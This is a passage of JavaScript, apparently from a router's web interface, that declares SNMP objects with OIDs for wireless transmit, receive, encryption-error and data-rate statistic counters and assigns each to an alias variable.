arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount;\nvar arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount;\nvar arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount;\nvar arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount;\nvar arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount;\nvar arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount;\nvar arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount;\n\nvar AdvanceWirelessStatsXmit = new Container(\"AdvanceWirelessStatsXmit\", \"1.3.6.1.4.1.4115.1.20.1.1.3.46.1\");\nAdvanceWirelessStatsXmit.TxFrameCount= new Scalar(\"TxFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1\",2);\nAdvanceWirelessStatsXmit.TxBytesCount= new Scalar(\"TxBytesCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2\",2);\nAdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar(\"TxRetransmitCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3\",2);\nAdvanceWirelessStatsXmit.TxErrorCount= new Scalar(\"TxErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4\",2);\nAdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar(\"TxMgmtFrames\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5\",2);\nAdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar(\"TxShortPreambleFrames\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6\",2);\nAdvanceWirelessStatsXmit.TxStatusErrors= new Scalar(\"TxStatusErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7\",2);\nAdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar(\"TxOutOfBufsErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8\",2);\nAdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar(\"TxNoAssocErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9\",2);\nAdvanceWirelessStatsXmit.TxRuntCount= new Scalar(\"TxRuntCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10\",2);\nAdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar(\"TxHeaderCacheHit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11\",2);\nAdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar(\"TxHeaderCacheMiss\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12\",2);\nAdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar(\"TxFIFOUnderflows\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13\",2);\nAdvanceWirelessStatsXmit.TxPhyErrors= new Scalar(\"TxPhyErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14\",2);\nAdvanceWirelessStatsXmit.TxPhyCRS= new Scalar(\"TxPhyCRS\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15\",2);\nAdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar(\"TxAllFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16\",2);\nAdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar(\"TxDMAWarCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17\",2);\nAdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar(\"TxRTSFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18\",2);\nAdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar(\"TxCTSFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19\",2);\nAdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar(\"TxAckFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20\",2);\nAdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar(\"TxDNLFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21\",2);\nAdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar(\"TxBeaconFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22\",2);\nAdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar(\"TxUnderflowCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23\",4,1);\nAdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar(\"TxTemplateUnderflowCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24\",2);\nAdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar(\"TxBeaconsCanceledCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25\",2);\nAdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar(\"TxFIFOOverflows\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26\",2);\nAdvanceWirelessStatsXmit.TxPRFailures= new Scalar(\"TxPRFailures\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27\",2);\nAdvanceWirelessStatsXmit.TxPRSuccess= new Scalar(\"TxPRSuccess\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28\",2);\nAdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar(\"TxAfterburnerNACKCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29\",2);\nAdvanceWirelessStatsXmit.TxFragmentCount= new Scalar(\"TxFragmentCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30\",2);\nAdvanceWirelessStatsXmit.TxMulticastCount= new Scalar(\"TxMulticastCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31\",2);\nAdvanceWirelessStatsXmit.TxFailureCount= new Scalar(\"TxFailureCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32\",2);\nAdvanceWirelessStatsXmit.TxRetryCount= new Scalar(\"TxRetryCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33\",2);\nAdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar(\"TxMultipleRetryCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34\",2);\nAdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar(\"TxRTSSuccessCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35\",2);\nAdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar(\"TxRTSFailCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36\",2);\nAdvanceWirelessStatsXmit.TxAckFailCount= new Scalar(\"TxAckFailCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37\",2);\nAdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar(\"TxFrameCountDot11\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38\",2);\nAdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar(\"TxChannelRejectFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39\",2);\nAdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar(\"TxTimerExpirationFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40\",2);\nAdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar(\"TxGlitchNACKCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41\",2);\nvar arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount;\nvar arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount;\nvar arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount;\nvar arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount;\nvar arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames;\nvar arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames;\nvar arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors;\nvar arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors;\nvar arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors;\nvar arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount;\nvar arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit;\nvar arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss;\nvar arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows;\nvar arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors;\nvar arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS;\nvar arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount;\nvar arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount;\nvar arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount;\nvar arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount;\nvar arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount;\nvar arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount;\nvar arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount;\nvar arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount;\nvar arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount;\nvar arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount;\nvar arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows;\nvar arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures;\nvar arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess;\nvar arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount;\nvar arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount;\nvar arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount;\nvar arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount;\nvar arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount;\nvar arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount;\nvar arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount;\nvar arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount;\nvar arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount;\nvar arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11;\nvar arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount;\nvar arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount;\nvar arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount;\n\nvar AdvanceWirelessStatsRecv = new Container(\"AdvanceWirelessStatsRecv\", \"1.3.6.1.4.1.4115.1.20.1.1.3.46.2\");\nAdvanceWirelessStatsRecv.RxFrame= new Scalar(\"RxFrame\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1\",2);\nAdvanceWirelessStatsRecv.RxBytes= new Scalar(\"RxBytes\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2\",2);\nAdvanceWirelessStatsRecv.RxError= new Scalar(\"RxError\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3\",2);\nAdvanceWirelessStatsRecv.RxCtl= new Scalar(\"RxCtl\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4\",2);\nAdvanceWirelessStatsRecv.RxNoBufs= new Scalar(\"RxNoBufs\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5\",2);\nAdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar(\"RxNonDataErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6\",2);\nAdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar(\"RxBadDSErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7\",2);\nAdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar(\"RxBadCMErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8\",2);\nAdvanceWirelessStatsRecv.RxFragErrors= new Scalar(\"RxFragErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9\",2);\nAdvanceWirelessStatsRecv.RxRuntCount= new Scalar(\"RxRuntCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10\",2);\nAdvanceWirelessStatsRecv.RxGiantCount= new Scalar(\"RxGiantCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11\",2);\nAdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar(\"RxNoSCBErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12\",2);\nAdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar(\"RxBadProtoErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13\",2);\nAdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar(\"RxBadSrcMACErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14\",2);\nAdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar(\"RxBadDAErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15\",2);\nAdvanceWirelessStatsRecv.RxFilterCount= new Scalar(\"RxFilterCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16\",2);\nAdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar(\"RxUnderflowCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17\",4,1);\nAdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar(\"RxFrameTooLongCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18\",2);\nAdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar(\"RxFrameTooShortCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19\",2);\nAdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar(\"RxBadHeaderCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20\",2);\nAdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar(\"RxBadFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21\",2);\nAdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar(\"RxBadPLCPCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22\",2);\nAdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar(\"RxRSGlitchCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23\",2);\nAdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar(\"RxGoodPLCPCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24\",2);\nAdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar(\"RxDataGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25\",2);\nAdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar(\"RxMgmtGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26\",2);\nAdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar(\"RxControlGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27\",2);\nAdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar(\"RxRTSGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28\",2);\nAdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar(\"RxCTSGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29\",2);\nAdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar(\"RxAcksGoodFCSCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30\",2);\nAdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar(\"RxDataGoodFCSNoRACount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31\",2);\nAdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar(\"RxMgmtGoodFCSNoRACount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32\",2);\nAdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar(\"RxCTRLGoodFCSNoRACount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33\",2);\nAdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar(\"RxRTSNoMACCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34\",2);\nAdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar(\"RxCTSNoMACCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35\",2);\nAdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar(\"RxMulticastDataCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36\",2);\nAdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar(\"RxMulticastMgmtCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37\",2);\nAdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar(\"RxMulticastCtlCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38\",2);\nAdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar(\"RxMemberBeaconCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39\",2);\nAdvanceWirelessStatsRecv.RxWDSFrameCount= new Scalar(\"RxWDSFrameCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40\",2);\nAdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar(\"RxOtherBeaconCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41\",2);\nAdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar(\"RxTimeoutsCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42\",2);\nAdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar(\"RxFiFoZeroOverflows\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43\",2);\nAdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar(\"RxFiFoOneOverflows\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44\",2);\nAdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar(\"RxFiFoTwoOverflows\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45\",2);\nAdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar(\"RxPRQFIFOCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46\",2);\nAdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar(\"RxPRQOverflowCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47\",2);\nAdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar(\"RxAfterburnerNACKCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48\",2);\nAdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar(\"RxAfterburnerConsumedCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49\",2);\nAdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar(\"RxFrameDuplicateCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50\",2);\nAdvanceWirelessStatsRecv.RxFragmentCount= new Scalar(\"RxFragmentCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51\",2);\nAdvanceWirelessStatsRecv.RxMulticastCount= new Scalar(\"RxMulticastCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52\",2);\nAdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar(\"RxFCSErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53\",2);\nvar arRxFrame=AdvanceWirelessStatsRecv.RxFrame;\nvar arRxBytes=AdvanceWirelessStatsRecv.RxBytes;\nvar arRxError=AdvanceWirelessStatsRecv.RxError;\nvar arRxCtl=AdvanceWirelessStatsRecv.RxCtl;\nvar arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs;\nvar arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors;\nvar arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors;\nvar arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors;\nvar arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors;\nvar arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount;\nvar arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount;\nvar arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount;\nvar arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount;\nvar arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount;\nvar arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount;\nvar arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount;\nvar arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount;\nvar arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount;\nvar arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount;\nvar arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount;\nvar arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount;\nvar arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount;\nvar arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount;\nvar arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount;\nvar arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount;\nvar arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount;\nvar arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount;\nvar arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount;\nvar arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount;\nvar arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount;\nvar arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount;\nvar arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount;\nvar arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount;\nvar arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount;\nvar arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount;\nvar arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount;\nvar arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount;\nvar arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount;\nvar arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount;\nvar arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount;\nvar arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount;\nvar arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount;\nvar arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows;\nvar arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows;\nvar arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows;\nvar arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount;\nvar arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount;\nvar arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount;\nvar arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount;\nvar arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount;\nvar arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount;\nvar arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount;\nvar arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount;\n\nvar AdvanceWirelessStatsEncrypt = new Container(\"AdvanceWirelessStatsEncrypt\", \"1.3.6.1.4.1.4115.1.20.1.1.3.46.3\");\nAdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar(\"WEPUndecryptableCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1\",2);\nAdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar(\"TKIPLocalMICFailureCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2\",2);\nAdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar(\"TKIPCounterMeasuresInvoked\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3\",2);\nAdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar(\"TKIPReplayCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4\",2);\nAdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar(\"AESFormatErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5\",2);\nAdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar(\"AESReplaysCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6\",2);\nAdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar(\"AESDecryptErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7\",2);\nAdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar(\"FourWayHandshakeFails\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8\",2);\nAdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar(\"WEPPICVErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9\",2);\nAdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar(\"DecryptSuccessCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10\",2);\nAdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar(\"TKIPPICVErrorCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11\",2);\nAdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar(\"WEPExcludedCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12\",2);\nvar arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount;\nvar arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount;\nvar arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked;\nvar arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount;\nvar arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount;\nvar arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount;\nvar arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount;\nvar arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails;\nvar arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount;\nvar arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount;\nvar arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount;\nvar arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount;\n\nvar AdvanceWirelessStatsRateStats = new Container(\"AdvanceWirelessStatsRateStats\", \"1.3.6.1.4.1.4115.1.20.1.1.3.46.4\");\nAdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar(\"PacketsRcv1Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar(\"PacketsRcv2Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar(\"PacketsRcv5HalfMbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar(\"PacketsRcv6Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar(\"PacketsRcv9Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar(\"PacketsRcv11Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar(\"PacketsRcv12Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new 